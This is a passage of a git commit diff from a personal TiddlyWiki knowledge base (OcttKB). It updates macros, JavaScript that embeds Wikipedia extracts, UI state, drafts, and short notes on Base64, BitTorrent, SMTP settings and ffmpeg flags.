mirror of
https://gitlab.com/octtspacc/OcttKB
synced 2025-04-17 08:47:18 +02:00
Saved by TiddlyWiki
This commit is contained in:
parent
60effd778d
commit
5509d7284f
@ -199,7 +199,7 @@ Error message and password prompt
|
||||
{"created":"20220926113710012","text":"\\define i18n-target()\n\u003C$list filter=\"[[$(currentTiddler)$]tags[]prefix[i18n:]split[:]last[]]\">\n\t\u003Cspan style=\"Padding:8px;\">\n\t\t\u003C\u003CcurrentTiddler>>\n\t\u003C/span>\n\u003C/$list>\n\\end\n\n\\define i18n()\n\u003Cstyle>\n\t/* Rainbow gradient from https://stackoverflow.com/a/63302468 */\n\t.LanguageBox {\n\t\tBorder: Solid Black 1px;\n\t\tPadding: 4px;\n\t\tBackground: Linear-Gradient(\n\t\t\t90deg,\n\t\t\tRGBA(255, 0, 0, 1) 0%,\n\t\t\tRGBA(255, 154, 0, 1) 10%,\n\t\t\tRGBA(208, 222, 33, 1) 20%,\n\t\t\tRGBA(79, 220, 74, 1) 30%,\n\t\t\tRGBA(63, 218, 216, 1) 40%,\n\t\t\tRGBA(47, 201, 226, 1) 50%,\n\t\t\tRGBA(28, 127, 238, 1) 60%,\n\t\t\tRGBA(95, 21, 242, 1) 70%,\n\t\t\tRGBA(186, 12, 248, 1) 80%,\n\t\t\tRGBA(251, 7, 217, 1) 90%,\n\t\t\tRGBA(255, 0, 0, 1) 100%\n\t\t);\n\t}\n\t.LanguageBox > Div {\n\t\tBorder: Solid Black 1px;\n\t\tPadding: 4px;\n\t\tFont-Size: Larger;\n\t\tText-Align: Center;\n\t\tBackground: White;\n\t}\n\u003C/style>\n\u003Cdiv class=\"LanguageBox\">\u003Cdiv>\n\t\u003C$vars id={{!!i18n}}>\n\t\t\u003C$list filter=\"[!is[system]contains:i18n\u003Cid>]\">\n\t\t\t\u003C$link>\n\t\t\t\t\u003C$macrocall $name=\"i18n-target\"/>\n\t\t\t\u003C/$link>\n\t\t\u003C/$list>\n\t\u003C/$vars>\n\u003C/div>\u003C/div>\n\\end","tags":"$:/tags/Macro","title":"$:/Macros/i18n","modified":"20230108195259126"},
|
||||
{"created":"20220922135257709","text":"\u003C!-- The following code is almost totally derived from [[$:/core/macros/tabs]] --->\n\n\\define ltabs-button()\n\\whitespace trim\n\u003C$button set=\u003C\u003CltabsState>> setTo=\u003C\u003CcurrentTab>> default=\u003C\u003C__default__>> selectedClass=\"tc-tab-selected\" tooltip={{!!tooltip}} role=\"switch\">\n\t\u003Cspan> [[#|$(currentTab)$]] \u003C/span>\n\t\u003C$tiddler tiddler=\u003C\u003Csave-currentTiddler>>>\n\t\t\u003C$set name=\"tv-wikilinks\" value=\"no\">\n\t\t\t\u003C$transclude tiddler=\u003C\u003C__buttonTemplate__>> mode=\"inline\">\n\t\t\t\t\u003C$transclude tiddler=\u003C\u003CcurrentTab>> field=\"caption\">\n\t\t\t\t\t\u003C$macrocall $name=\"currentTab\" $type=\"text/plain\" $output=\"text/plain\"/>\n\t\t\t\t\u003C/$transclude>\n\t\t\t\u003C/$transclude>\n\t\t\u003C/$set>\n\t\u003C/$tiddler>\n\t\u003C\u003C__actions__>>\n\u003C/$button>\n\\end\n\n\\define ltabs-tab()\n\\whitespace trim\n\u003C$set name=\"save-currentTiddler\" value=\u003C\u003CcurrentTiddler>>>\n\t\u003C$tiddler tiddler=\u003C\u003CcurrentTab>>>\n\t\t\u003C\u003Cltabs-button>>\n\t\u003C/$tiddler>\n\u003C/$set>\n\\end\n\n\\define ltabs-tab-list()\n\\whitespace trim\n\u003C$list filter=\u003C\u003C__ltabsList__>> variable=\"currentTab\" storyview=\"pop\">\n\t\u003C\u003Cltabs-tab>>\n\u003C/$list>\n\\end\n\n\\define ltabs-tab-body()\n\\whitespace trim\n\u003C$list filter=\u003C\u003C__ltabsList__>> variable=\"currentTab\">\n\t\u003C$reveal type=\"match\" state=\u003C\u003CltabsState>> text=\u003C\u003CcurrentTab>> default=\u003C\u003C__default__>> retain=\u003C\u003C__retain__>> tag=\"div\">\n\t\t\u003C$transclude tiddler=\u003C\u003C__template__>> mode=\"block\">\n\t\t\t\u003C$tiddler tiddler=\u003C\u003CcurrentTab>>>\n\t\t\t\t\u003C$transclude mode=\"block\" />\n\t\t\t\u003C/$tiddler>\n\t\t\u003C/$transclude>\n\t\u003C/$reveal>\n\u003C/$list>\n\\end\n\n\\define ltabs(ltabsList,default,state:\"$:/state/tab\",class,template,buttonTemplate,retain,actions,explicitState)\n\\whitespace trim\n\u003C$qualify title=\u003C\u003C__state__>> name=\"qualifiedState\">\n\t\u003C$let ltabsState={{{ [\u003C__explicitState__>minlength[1]] ~[\u003CqualifiedState>] }}}>\n\t\t\u003Cdiv class={{{ [[tc-tab-set]addsuffix[ ]addsuffix\u003C__class__>] }}}>\n\t\t\t\u003Cdiv class={{{ [[tc-tab-buttons]addsuffix[ ]addsuffix\u003C__class__>] }}}>\n\t\t\t\t\u003C\u003Cltabs-tab-list>>\n\t\t\t\u003C/div>\n\t\t\t\u003Cdiv class={{{ [[tc-tab-divider]addsuffix[ ]addsuffix\u003C__class__>] }}}/>\n\t\t\t\u003Cdiv class={{{ [[tc-tab-content]addsuffix[ ]addsuffix\u003C__class__>] }}}>\n\t\t\t\t\u003C\u003Cltabs-tab-body>>\n\t\t\t\u003C/div>\n\t\t\u003C/div>\n\t\u003C/$let>\n\u003C/$qualify>\n\\end\n","tags":"$:/tags/Macro","title":"$:/Macros/ltabs","modified":"20220925154754580"},
|
||||
{"created":"20220920092322164","text":"\u003C!-- Transclude with clickable link --->\n\\define #:(Name)\n\u003Cstyle>\n.Transcluding > h1,\n.Transcluding > h2,\n.Transcluding > h3,\n.Transcluding > h4,\n.Transcluding > h5,\n.Transcluding > h6 {\nDisplay: Inline;\n}\n\u003C/style>\n\u003Cdiv class=\"Transcluding\">\n[[#|$Name$]]\n{{$Name$}}\n\u003C/div>\n\\end\n\n\u003C!-- Link to currentTiddler --->\n\\define lself() [[$(currentTiddler)$]]\n\\define #lself() [[#|$(currentTiddler)$]]\n\n\u003C!-- Field Checkbox --->\n\\define x#(Field Text)\n\u003C$checkbox field=\"$Field$\" checked=\"true\" unchecked=\"false\" default=\"false\"> $Text$\u003C/$checkbox>\n\\end\n\n\\define Table(Rows) \u003Ctable class=\"Octt-Table\" style=\"Width:100%;\">\u003Cstyle>.Octt-Table tr:nth-child(odd){background-color:#EEEEEE;}\u003C/style>$Rows$\u003C/table>\n\n\\define ColorText(Text Foreground)\n\u003Cspan style=\"Color:$Foreground$;\">$Text$\u003C/span>\n\\end\n\n\\define ColorSpan(Text Background)\n\u003Cspan style=\"Color:#FFFFFF; Background-Color:$Background$;\">$Text$\u003C/span>\n\\end\n\n\\define iFrame100(Src)\n\u003Ciframe\nstyle=\"\nMargin: 0px; \nPadding: 0px; \nWidth: 100vw; \nHeight: 100vh;\n\"\nframeBorder=\"0\"\nsrc=$Src$\n>\u003C/iframe>\n\\end\n\n\\define iFrameTid(Tid)\n\u003Cp class=\"Embed-From\">\n\tEmbed of \u003C$link>$Tid$\u003C/$link>\n\u003C/p>\n\u003C\u003CiFrame100 \"\"\"\u003C\u003Cb64TidUriEnc \"$Tid$\">>\"\"\">>\n\\end\n\n\\define LImg(Src Href Alt)\n\u003Ca rel=\"noopener noreferrer\" target=\"_blank\" href=\"$Href$\">\u003Cimg src=\"$Src$\" alt=\"$Alt$\">\u003C/a>\n\\end\n","tags":"$:/tags/Macro","title":"$:/Macros/Main","modified":"20230109162732115"},
|
||||
{"created":"20230108190340455","text":"/*\\\nEmbed [paragraphs of] an article from a MediaWiki server.\n\u003C\u003CMediaWiki \"Article\" \"Full Domain OR Wikipedia Subdomain\" \"Max Paragraphs\" \"Special Paragraphs\">>\n\\*/\n\n(function(){\n\"use strict\";\nexports.name = \"MediaWiki\";\nexports.params = [\n\t{name: \"Article\"},\n\t{name: \"Domain\"},\n\t{name: \"Max\"},\n\t{name: \"Special\"}\n];\n\nexports.run = function(Article, Domain, Max, Special) {\n\ttry {\n\t\tlet Text;\n\t\tMax = parseInt(Max) || 0;\n\t\tSpecial = Special || '';\n\t\tif (!Domain) {\n\t\t\tDomain = 'en.wikipedia.org';\n\t\t} else\n\t\tif (!Domain.includes('.')) {\n\t\t\tDomain += '.wikipedia.org'\n\t\t};\n\t\tconst Req = new XMLHttpRequest();\n\t\tReq.open('GET', 'https://' + Domain + '/w/api.php?action=query&formatversion=2&prop=extracts&format=json&origin=*&titles=' + Article, false);\n\t\tReq.send();\n\t\tText = JSON.parse(Req.responseText).query.pages[0].extract;\n\t\tif (!Text) {\n\t\t\tText = 'An error occurred while trying to extract the content. Close and reopen this \u003Ci>tiddler\u003C/i> to retry, or click the link to open the source in a new tab.'\n\t\t};\n\t\tText = Text.replaceAll('\\n', '').replaceAll('\u003Cp class=\"mw-empty-elt\">\u003C/p>', '');\n\t\tif (Max != 0) {\n\t\t\tfor (let i=1; i\u003C=6; i++) {\n\t\t\t\tText = Text.replaceAll(`\u003C/p>\u003Ch${i}>`, `\u003C/p>\u003C!--:PARAGRAPH:--->\\n\u003Ch${i}>`);\n\t\t\t};\n\t\t\tText = Text.replaceAll(`\u003C/p>\u003Cp>`, `\u003C/p>\u003C!--:PARAGRAPH:--->\u003Cp>`);\n\t\t\t//Text = Text.split('\u003C!--:PARAGRAPH:--->').slice(0, Max+1).join('');\n\t\t\t//Text = Text.split('\u003Cp>').slice(0, Max+1).join('\u003Cp>');\n\t\t\tif (Max \u003C 0) {\n\t\t\t\tMax = 0;\n\t\t\t};\n\t\t\tText = Text.split('\u003C!--:PARAGRAPH:--->').slice(0, Max).join('');\n\t\t};\n\t\tSpecial = Special.split(' ');\n\t\tfor (let i=0; i\u003CSpecial.length; i++) {\n\t\t\tif (Special[i]) {\n\t\t\t\t//\n\t\t\t};\n\t\t};\n\t\tText = `\\\n\u003Cdiv class=\"MediaWikiEmbed\">\n\u003Cdiv class=\"MediaWikiEmbed-From\">\\\nFrom \u003Ca rel=\"noopener noreferrer\" target=\"_blank\" \\\nhref=\"https://${Domain}/wiki/${Article}\">${Domain}/${Article}\u003C/a>\\\n\u003C/div>\n${Text}\n\u003C/div>`;\n\t\treturn Text;\n\t} catch(e) {\n\t\treturn e;\n\t};\n};\n})();","tags":"","title":"$:/Macros/MediaWiki.js","modified":"20230109172715094","type":"application/javascript","module-type":"macro"},
|
||||
{"created":"20230108190340455","text":"/*\\\nEmbed [paragraphs of] an article from a MediaWiki server.\n\u003C\u003CMediaWiki \"Article\" \"Full Domain OR Wikipedia Subdomain\" \"Section Filtering\">>\n\\*/\n\n(function(){\n\"use strict\";\nexports.name = \"MediaWikiEmbedInternal\";\nexports.params = [\n\t{name: \"Article\"},\n\t{name: \"Domain\"},\n\t{name: \"Sections\"}\n];\n\nexports.run = function(Article, Domain, Sections) {\n\ttry {\n\t\tlet Text;\n\t\tSections = parseInt(Sections) || 0;\n\t\tif (!Domain) {\n\t\t\tDomain = 'en.wikipedia.org';\n\t\t} else\n\t\tif (!Domain.includes('.')) {\n\t\t\tDomain += '.wikipedia.org'\n\t\t};\n\t\tconst Req = new XMLHttpRequest();\n\t\tReq.open('GET', 'https://' + Domain + '/w/api.php?action=query&formatversion=2&prop=extracts&format=json&origin=*&titles=' + Article, false);\n\t\tReq.send();\n\t\tText = JSON.parse(Req.responseText).query.pages[0].extract;\n\t\tif (!Text) {\n\t\t\tText = '\u003Cp>An error occurred while trying to extract the content. Close and reopen this \u003Ci>tiddler\u003C/i> to retry, or click the link to open the source in a new tab.\u003C/p>'\n\t\t};\n\t\tText = Text.replaceAll('\\n', '').replaceAll('\u003Cp class=\"mw-empty-elt\">\u003C/p>', '');\n\t\tif (Sections != 0) {\n\t\t\tfor (let i=1; i\u003C=6; i++) {\n\t\t\t\tText = Text.replaceAll(`\u003C/p>\u003Ch${i}>`, `\u003C/p>\u003C!--:PARAGRAPH:--->\\n\u003Ch${i}>`);\n\t\t\t};\n\t\t\tText = Text.replaceAll(`\u003C/p>\u003Cp>`, `\u003C/p>\u003C!--:PARAGRAPH:--->\u003Cp>`);\n\t\t\t//Text = Text.split('\u003C!--:PARAGRAPH:--->').slice(0, Max+1).join('');\n\t\t\t//Text = Text.split('\u003Cp>').slice(0, Max+1).join('\u003Cp>');\n\t\t\tif (Sections \u003C 0) {\n\t\t\t\tSections = 0;\n\t\t\t};\n\t\t\tText = Text.split('\u003C!--:PARAGRAPH:--->').slice(0, Sections).join('');\n\t\t};\n/*\n\t\tSections = Sections.split(' ');\n\t\tfor (let i=0; i\u003CSections.length; i++) {\n\t\t\tif (Sections[i]) {\n\t\t\t\t//\n\t\t\t};\n\t\t};\n*/\n\t\treturn Text;\n\t} catch(e) {\n\t\treturn e;\n\t};\n};\n})();","tags":"","title":"$:/Macros/MediaWikiEmbedInternal.js","modified":"20230110102729273","type":"application/javascript","module-type":"macro"},
|
||||
{"created":"20220921191720432","text":"\\define r(Title Notes)\n\u003Ctr>\n\u003Ctd>$Title$\u003C/td>\n\u003Ctd>\u003C\u003Cx# \"$Title$ - GotAny\">>\u003C/td>\n\u003Ctd>\u003C\u003Cx# \"$Title$ - GotLossless\">>\u003C/td>\n\u003Ctd>\u003C\u003Cx# \"$Title$ - UploadedLossless:Archive.org\">>\u003C/td>\n\u003Ctd>$Notes$\u003C/td>\n\u003C/tr>\n\\end\n\n\u003C$importvariables filter=\"$:/Macros\">","tags":"","title":"$:/Macros/Music Archiving Status","modified":"20220922052514703"},
|
||||
{"created":"20220920090859450","title":"$:/palette","text":"$:/palettes/Octt Light","modified":"20230109112532387"},
|
||||
{"created":"20220920191922289","text":"alert-background: #ffe476\nalert-border: #b99e2f\nalert-highlight: #881122\nalert-muted-foreground: #b99e2f\nbackground: #fff\nblockquote-bar: \u003C\u003Ccolour muted-foreground>>\nbutton-background: \nbutton-foreground: \nbutton-border: \ncode-background: #f7f7f9\ncode-border: #e1e1e8\ncode-foreground: #dd1144\ndirty-indicator: #ff0000\ndownload-background: #34c734\ndownload-foreground: \u003C\u003Ccolour foreground>>\ndragger-background: \u003C\u003Ccolour foreground>>\ndragger-foreground: \u003C\u003Ccolour background>>\ndropdown-background: \u003C\u003Ccolour background>>\ndropdown-border: \u003C\u003Ccolour muted-foreground>>\ndropdown-tab-background-selected: #fff\ndropdown-tab-background: #ececec\ndropzone-background: rgba(0,200,0,0.7)\nexternal-link-background-hover: inherit\nexternal-link-background-visited: inherit\nexternal-link-background: inherit\nexternal-link-foreground-hover: inherit\nexternal-link-foreground-visited: #0000aa\nexternal-link-foreground: #0000ee\nforeground: #333353\nmessage-background: #ecf2ff\nmessage-border: #cfd6e6\nmessage-foreground: #547599\nmodal-backdrop: \u003C\u003Ccolour foreground>>\nmodal-background: \u003C\u003Ccolour background>>\nmodal-border: #999999\nmodal-footer-background: #f5f5f5\nmodal-footer-border: #dddddd\nmodal-header-border: #eeeeee\nmuted-foreground: #999999\nnotification-background: #ffffdd\nnotification-border: #999999\npage-background: #ddddff\npre-background: #f5f5f5\npre-border: #cccccc\nprimary: #dd55ff\nselect-tag-background: \nselect-tag-foreground: \nsidebar-button-foreground: \u003C\u003Ccolour foreground>>\nsidebar-controls-foreground-hover: #000000\nsidebar-controls-foreground: #77767b\nsidebar-foreground-shadow: rgba(255,255,255, 0.8)\nsidebar-foreground: #acacac\nsidebar-muted-foreground-hover: #444444\nsidebar-muted-foreground: #c0c0c0\nsidebar-tab-background-selected: \u003C\u003Ccolour page-background>>\nsidebar-tab-background: \u003C\u003Ccolour tab-background>>\nsidebar-tab-border-selected: \u003C\u003Ccolour tab-border-selected>>\nsidebar-tab-border: \u003C\u003Ccolour tab-border>>\nsidebar-tab-divider: \u003C\u003Ccolour tab-divider>>\nsidebar-tab-foreground-selected: \nsidebar-tab-foreground: \u003C\u003Ccolour tab-foreground>>\nsidebar-tiddler-link-foreground-hover: #444444\nsidebar-tiddler-link-foreground: #c061cb\nsite-title-foreground: \u003C\u003Ccolour tiddler-title-foreground>>\nstatic-alert-foreground: #aaaaaa\ntab-background-selected: \u003C\u003Ccolour background>>\ntab-background: #ccccdd\ntab-border-selected: #ccccdd\ntab-border: #cccccc\ntab-divider: #d8d8d8\ntab-foreground-selected: \u003C\u003Ccolour tab-foreground>>\ntab-foreground: #666666\ntable-border: #dddddd\ntable-footer-background: #a8a8a8\ntable-header-background: #f0f0f0\ntag-background: #eeeeff\ntag-foreground: #000\ntiddler-background: \u003C\u003Ccolour background>>\ntiddler-border: \u003C\u003Ccolour background>>\ntiddler-controls-foreground-hover: #666666\ntiddler-controls-foreground-selected: #444444\ntiddler-controls-foreground: #9a9996\ntiddler-editor-background: #f8f8f8\ntiddler-editor-border-image: #ffffff\ntiddler-editor-border: #cccccc\ntiddler-editor-fields-even: #e0e8e0\ntiddler-editor-fields-odd: #f0f4f0\ntiddler-info-background: #ffffff\ntiddler-info-border: #dddddd\ntiddler-info-tab-background: #ffffff\ntiddler-link-background: \u003C\u003Ccolour background>>\ntiddler-link-foreground: \u003C\u003Ccolour primary>>\ntiddler-subtitle-foreground: #c0c0c0\ntiddler-title-foreground: #c061cb\ntoolbar-new-button: #5eb95e\ntoolbar-options-button: rgb(128, 88, 165)\ntoolbar-save-button: #0e90d2\ntoolbar-info-button: #0e90d2\ntoolbar-edit-button: #986a44\ntoolbar-close-button: #ff7800\ntoolbar-delete-button: #e01b24\ntoolbar-cancel-button: rgb(243, 123, 29)\ntoolbar-done-button: #5eb95e\nuntagged-background: #999999\nvery-muted-foreground: #888888","title":"$:/palettes/Octt Light","name":"Octt Light","color-scheme":"light","tags":"$:/tags/Palette","type":"application/x-tiddler-dictionary","modified":"20220920212045032"},
|
||||
@ -254,6 +254,7 @@ Error message and password prompt
|
||||
{"created":"20220920193053266","title":"$:/state/edit/references--1487996250","text":"hide","modified":"20220920193054202"},
|
||||
{"created":"20230109220441051","title":"$:/state/edit/references--2031574088","text":"show","modified":"20230109220446292"},
|
||||
{"created":"20230108193538149","title":"$:/state/edit/references--330884492","text":"show","modified":"20230108193538149"},
|
||||
{"created":"20230110102542175","title":"$:/state/edit/references--797560378","text":"show","modified":"20230110102718417"},
|
||||
{"created":"20220920191756623","title":"$:/state/editpreviewtype","text":"$:/plugins/tiddlywiki/internals/EditTemplate/body/preview/raw","modified":"20230109162935656"},
|
||||
{"created":"20221108223526572","title":"$:/state/folded/$:/Apps/Dashboard/index.html","text":"hide","modified":"20230109162823352"},
|
||||
{"created":"20230108200647964","title":"$:/state/folded/$:/ControlPanel","text":"show","modified":"20230108212807728"},
|
||||
@ -296,7 +297,7 @@ Error message and password prompt
|
||||
{"created":"20230108195829187","title":"$:/state/tab-791689762","text":"$:/plugins/tiddlywiki/qrcode/MakeContactQR","modified":"20230108195830858"},
|
||||
{"created":"20220921221238452","title":"$:/state/tab-99014043","text":"$:/core/ui/ControlPanel/EditTemplateBody","modified":"20220921221239099"},
|
||||
{"created":"20220920114911876","title":"$:/state/tab/moresidebar-1850697562","text":"$:/core/ui/MoreSideBar/Explorer","modified":"20230109171159810"},
|
||||
{"created":"20220920092307479","title":"$:/state/tab/sidebar--595412856","text":"$:/core/ui/SideBar/Recent","modified":"20230110074208408"},
|
||||
{"created":"20220920092307479","title":"$:/state/tab/sidebar--595412856","text":"$:/core/ui/SideBar/More","modified":"20230110101828779"},
|
||||
{"created":"20220920114638764","title":"$:/state/tabs/controlpanel/toolbars-1345989671","text":"$:/core/ui/ControlPanel/Toolbars/EditToolbar","modified":"20230109112510655"},
|
||||
{"created":"20230109231545587","text":"inline","title":"$:/state/tag-cloud-count","modified":"20230109231831243"},
|
||||
{"created":"20230109161519933","title":"$:/state/toc/TableOfContents-Apps--118161433","text":"close","modified":"20230109221359461"},
|
||||
@ -323,14 +324,14 @@ Error message and password prompt
|
||||
{"created":"20221107223125902","title":"$:/state/tree/$:/themes/","text":"hide","modified":"20221109143847524"},
|
||||
{"created":"20221107223127310","title":"$:/state/tree/$:/themes/tiddlywiki/","text":"show","modified":"20221107223127310"},
|
||||
{"created":"20221107223234221","title":"$:/state/tree/$:/themes/tiddlywiki/starlight/","text":"hide","modified":"20221107223236014"},
|
||||
{"created":"20230109220348891","title":"$:/state/tree/$:/ThirdParty/","text":"show","modified":"20230109220618836"},
|
||||
{"created":"20230109220348891","title":"$:/state/tree/$:/ThirdParty/","text":"hide","modified":"20230110105034469"},
|
||||
{"created":"20230109220352035","title":"$:/state/tree/$:/ThirdParty/Libs/","text":"hide","modified":"20230109220353203"},
|
||||
{"created":"20230109220619790","title":"$:/state/tree/$:/ThirdParty/TiddlyTools/","text":"show","modified":"20230109220619791"},
|
||||
{"created":"20230109220622940","title":"$:/state/tree/$:/ThirdParty/TiddlyTools/FilterGenerators/","text":"show","modified":"20230109220622940"},
|
||||
{"created":"20230109220622044","title":"$:/state/tree/$:/ThirdParty/TiddlyTools/Macros/","text":"hide","modified":"20230109220622628"},
|
||||
{"created":"20220920211944968","text":"\u003Cdiv style=\"Padding-Left:16px; Padding-Right:16px;\">\n\u003Ch1 class=\"tc-site-title\">\n\u003Ca class=\"tc-tiddlylink tc-tiddlylink-missing\" >OcttKB\u003C/a>\n\u003C/h1>\n\u003Cdiv class=\"tc-site-subtitle\">\nOctt Knowledge Base || Powered by [[TiddlyWiki|TiddlyWiki:en]].\u003C/div>\n\u003Cp>\n\u003Cb>Note\u003C/b>: You're viewing the no-JS version of this site, some features will be missing. For the best experience, \u003Ca href=\"./\">load the full version\u003C/a>.\n\u003C/p>\n\u003C/div>","tags":"","title":"$:/StaticBanner","modified":"20220925153532518"},
|
||||
{"title":"$:/status/RequireReloadDueToPluginChange","text":"no"},
|
||||
{"title":"$:/StoryList","created":"20230110074210602","text":"","list":"[[Open Services Providers]]","modified":"20230110074415712"},
|
||||
{"title":"$:/StoryList","created":"20230110101833743","text":"","list":"[[Draft of 'New 1']] [[Draft of 'New']] $:/Macros/MediaWikiEmbedInternal.js TiddlyWiki:en [[Open Services Providers]]","modified":"20230110105048269"},
|
||||
{"created":"20230108190740128","text":":Root {\n\t--HeadingColor0: #c061cb;\n}\n\n.MediaWikiEmbed {\n\tBorder-Left: 3px Solid Var(--HeadingColor0);\n\tPadding-Left: 8px;\n}\n.Embed-From .MediaWikiEmbed-From {\n\tFont-Size: Small;\n\tFont-Style: Italic;\n}\n","tags":"$:/tags/Stylesheet","title":"$:/Styles/Main.css","modified":"20230109162342924","type":"text/css"},
|
||||
{"created":"20230108212828635","text":"\u003C!-- TOP RIGHT RIBBON: START COPYING HERE -->\n\u003Cdiv class=\"github-fork-ribbon-wrapper right\">\u003Cdiv class=\"github-fork-ribbon\">\u003Ca rel=\"noopener noreferrer\" target=\"_blank\" href=\"https://hub.octt.eu.org\">Visit the Octt Hub 🌐\u003C/a>\u003C/div>\u003C/div>\n\u003C!-- TOP RIGHT RIBBON: END COPYING HERE -->","tags":"$:/tags/PageControls","title":"$:/Styles/Ribbon.xml","modified":"20230108214055684","type":"text/xml"},
|
||||
{"created":"20221104182610250","title":"$:/tags/ViewToolbar","list":"$:/core/ui/Buttons/more-tiddler-actions $:/core/ui/Buttons/info $:/core/ui/Buttons/new-here $:/core/ui/Buttons/new-journal-here $:/core/ui/Buttons/clone $:/core/ui/Buttons/export-tiddler $:/core/ui/Buttons/delete $:/core/ui/Buttons/fold $:/core/ui/Buttons/permalink $:/plugins/tiddlywiki/text-slicer/ui/slice-toolbar-button $:/core/ui/Buttons/edit $:/core/ui/Buttons/permaview $:/core/ui/Buttons/open-window $:/core/ui/Buttons/close-others $:/plugins/tiddlywiki/qrcode/ViewToolbarButton $:/core/ui/Buttons/close $:/core/ui/Buttons/fold-others $:/core/ui/Buttons/fold-bar","modified":"20221109160746501"},
|
||||
@ -366,6 +367,8 @@ Error message and password prompt
|
||||
{"created":"20221105114920520","text":"''Base64'' is a 8-bit-binary to text data encoding scheme.\n\nDue to the format using a character set of 64 characters, representable by 6 bits, a minimal b64 block is ''24 bits'' large (lcm(8,6)), which is 3 binary bytes, or 4 b64 text characters.","tags":"i18n:en","title":"Base64:en","modified":"20221105120759433"},
|
||||
{"created":"20220923190200484","text":"''BitTorrent'' is an open [[peer-to-peer|peer-to-peer:en]] file sharing protocol. It is expecially common among the [[free sharing]] community.\n\nIts only requirement for each user is a client application, meaning that efficiently sharing with BitTorrent is effectively free, since a beefy server isn't needed to make the content circulate.\n\nFor this reason, the protocol is most commonly used to share large files that have a lot of people requesting them, such as movies, operating systems, and videogames.\n\nThis kind of information would be usually expensive to share using a traditional client-server infrastructure, but with BitTorrent every client can seed (send) data to other requesting clients, exponentially optimizing delivery.","tags":"Internet BitTorrent P2P i18n:en","title":"BitTorrent:en","modified":"20220926115016291"},
|
||||
{"created":"20220925131851817","text":"!! Creative Commons\n\n!!! ''Attribution-ShareAlike 4.0 International (CC BY-SA 4.0)''\n\nThis is a human-readable summary of (and not a substitute for) the [[license|https://creativecommons.org/licenses/by-sa/4.0/legalcode]]. \n\n\u003Cdetails>\n\u003Csummary>Disclaimer\u003C/summary>\n\u003Cp>This deed highlights only some of the key features and terms of the actual license. It is not a license and has no legal value. You should carefully review all of the terms and conditions of the actual license before using the licensed material.\u003C/p>\n\n\u003Cp>Creative Commons is not a law firm and does not provide legal services. Distributing, displaying, or linking to this deed or the license that it summarizes does not create a lawyer-client or any other relationship.\u003C/p>\n\u003C/details>\n\n!!!'' You are free to:''\n\n''Share'' — copy and redistribute the material in any medium or format\n\n''Adapt'' — remix, transform, and build upon the material\nfor any purpose, even commercially.\n\nThe licensor cannot revoke these freedoms as long as you follow the license terms.\n\n!!! ''Under the following terms:''\n\n''Attribution'' — You must give appropriate credit, provide a link to the license, and indicate if changes were made. You may do so in any reasonable manner, but not in any way that suggests the licensor endorses you or your use.\n\n''ShareAlike'' — If you remix, transform, or build upon the material, you must distribute your contributions under the same license as the original.\n\n''No additional restrictions'' — You may not apply legal terms or technological measures that legally restrict others from doing anything the license permits.\n\n!!! ''Notices:''\nYou do not have to comply with the license for elements of the material in the public domain or where your use is permitted by an applicable exception or limitation.\n\nNo warranties are given. The license may not give you all of the permissions necessary for your intended use. For example, other rights such as publicity, privacy, or moral rights may limit how you use the material.","title":"CC BY-SA 4.0:en","modified":"20220926115015643","tags":"i18n:en"},
|
||||
{"text":"\\define Test(Str)\n\u003C$set name=\"Text\" filter=\"[[$Str$]regexp[\\.]then[$Str$]else[$Str$.Wikipedia.org]]\">\n\n[[\u003CText>/wiki/\u003C\u003CStr>>]]\n\n\u003Ca href=\"https://$(Text)$\">\u003C\u003CText>>\u003C/a>\n\n\u003C/$set>\n\\end\n\n\u003C\u003CTest it>>\n\n","created":"20230110103516006","tags":"","title":"Draft of 'New 1'","modified":"20230110112746866","draft.title":"New 1","draft.of":"New 1"},
|
||||
{"created":"20230110102736164","text":"\\define MediaWiki(Article Domain Sections)\n\u003Cdiv class=\"MediaWikiEmbed\">\n\u003Cdiv class=\"MediaWikiEmbed-From\">\nFrom \u003Ca rel=\"noopener noreferrer\" target=\"_blank\" href=\"https://${Domain}/wiki/${Article}\">${Domain}/${Article}\u003C/a>\n\u003C/div>\n\u003C\u003CMediaWikiEmbedInteral $Article$ $Domain$ $Sections$>>\n\u003C/div>\n\\end\n","draft.title":"$:/Macros/MediaWiki","tags":"$:/tags/Macro","title":"Draft of 'New'","draft.of":"New","modified":"20230110103039990"},
|
||||
{"created":"20221107225602829","text":"!!! ''Outlook''\n* ''Username'': Full Email Address (e.g. `example@outlook.com`)\n* ''Password'': Standard Account Password\n* ''Server'': `smtp-mail.outlook.com`\n* ''Ports'':\n** ''TLS'': `587`\n** ''No Encryption'': `25`\n* ''Daily Limits'': 250 Mails, or [verification needed] 100 different Recipients\n\n!!! ''Yahoo Mail''\n\n* ''Username'': Full Email Address (e.g. `example@yahoo.com`)\n* ''Password'': App Password; Must be set from Yahoo's account security settings\n* ''Server'': `smtp.mail.yahoo.com`\n* Ports: 465 (With SSL)\n** ''SSL'': `465`\n** ''TLS'': `587`\n* ''Daily Limits''\u003Csup>[verification needed]\u003C/sup>: 500 Mails, or 100 Connections","tags":"i18n:en","title":"Email Settings","modified":"20221110230438336"},
|
||||
{"created":"20220922204615800","title":"English","icon":"$:/languages/en-GB/icon","modified":"20220922204615800"},
|
||||
{"created":"20221008141221923","text":"!! Flags\n\n* Specify an input file: `-i ${File}`\n* Framerate: `-r ${r}`, `-framerate ${r}` (//use both because one sometimes doesn't work//)\n\n\n!!! Filter Flags\n\n//These are specified by prefixing an argument://\n\n* Audio: `-filter:a` or `-af`\n* Video: `-filter:v` or `-vf`\n\n!!!! Audio Filters\n\n* Volume: `volume=`\n** `±{n}dB`: Adding or Subtracting to absolute value in dB\n** `{%/100}`: Target percentage divided by 100 (e.g: //150% -> 1.5//)\n\n* Detecting volume details: `volumedetect -f null /dev/null` (just prints to console)\n\n!!!! Video Filters\n\n* Scaling: `scale=${w}:${h}`\n* [[Cropping|https://video.stackexchange.com/questions/4563/how-can-i-crop-a-video-with-ffmpeg]]: `crop=${w}:${h}:${x}:${y}`\n\n\n!!! Audio/Video Flags\n\n//These are specified as `-flag:a` or `-flag:v`.//\n\n* Bitrate: `-b:{a|v} ${n}{k|m|...}`\n* Codec: `-c:{a|v} ${codec}`\n\n!!!! Audio Flags\n\n* Audio channels: `-ac ${n}`\n\n\n!! Codecs List\n\n!!! Special\n\n* `copy`: Copy data stream without re-encoding (if supported by container)\n\n!!! Audio Codecs\n\n* `libopus`\n\n!!! Video Codecs\n\n* `h263`, `h264`, `libx265`\n* `libvpx-vp8`, `libvpx-vp9`\n* `libaom-av1`\n\n\n!! Tips\n\n* [[Trim Video|https://shotstack.io/learn/use-ffmpeg-to-trim-video]]\n* [[Image+Audio -> 